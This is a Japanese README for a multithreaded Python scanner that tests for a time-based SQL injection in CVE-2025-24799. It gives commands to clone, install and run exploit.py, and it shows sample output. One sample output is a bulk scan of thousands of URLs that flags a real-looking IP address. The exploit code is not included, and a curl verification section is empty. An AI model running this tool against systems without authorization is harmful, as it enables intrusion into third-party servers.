
CVE-2025-24799 SQLi スキャナ
Pythonで構築された高速なSQLインジェクション脆弱性スキャナです。時間ベースのSQLi検出をマルチスレッドとカラフルな出力で使用し、CVE-2025-24799脆弱性のテスト用に設計されています。
リポジトリをクローン:
git clone https://github.com/MuhammadWaseem29/CVE-2025-24799.git
cd CVE-2025-24799
必要なパッケージをインストール:
pip install requests colorama
Python 3で実行:
python3 exploit.py -u http://example.com
出力:
[VULN] http://example.com/index.php/ajax/ - Delay: 7.40s
python3 exploit.py -f urls.txt -t 15
出力:
Scanning: 100/1000 (10.0%)
[VULN] http://example.com/index.php/ajax/ - Delay: 7.10s
python3 exploit.py -f urls.txt -o results.txt -t 10
出力:
Scanning: 50/500 (10.0%)
[VULN] http://test.com/index.php/ajax/ - Delay: 7.20s
[+] Results saved to results.txt

curl による検証

-u <URL>: スキャンする単一URL-f <FILE>: URLが1行ごとに書かれたファイル-o <FILE>: 結果をファイルに保存-t <NUM>: スレッド数 (デフォルト: 10)╔════════════════════════════╗
║ Noob-Wasi SQLi Scanner ║
║ Coded by: Noob-Wasi ║
║ Version: 1.0 ║
╚════════════════════════════╝
Starting SQL injection scan...
Scanning: 200/3494 (5.7%)
[VULN] http://152.67.42.99/index.php/ajax/ - Delay: 7.40s
Scanning: 745/3494 (21.3%)
Scan completed!
-t)はシステム/ネットワークに応じて調整してください作者: Noob-Wasi
GitHub: github.com/MuhammadWaseem29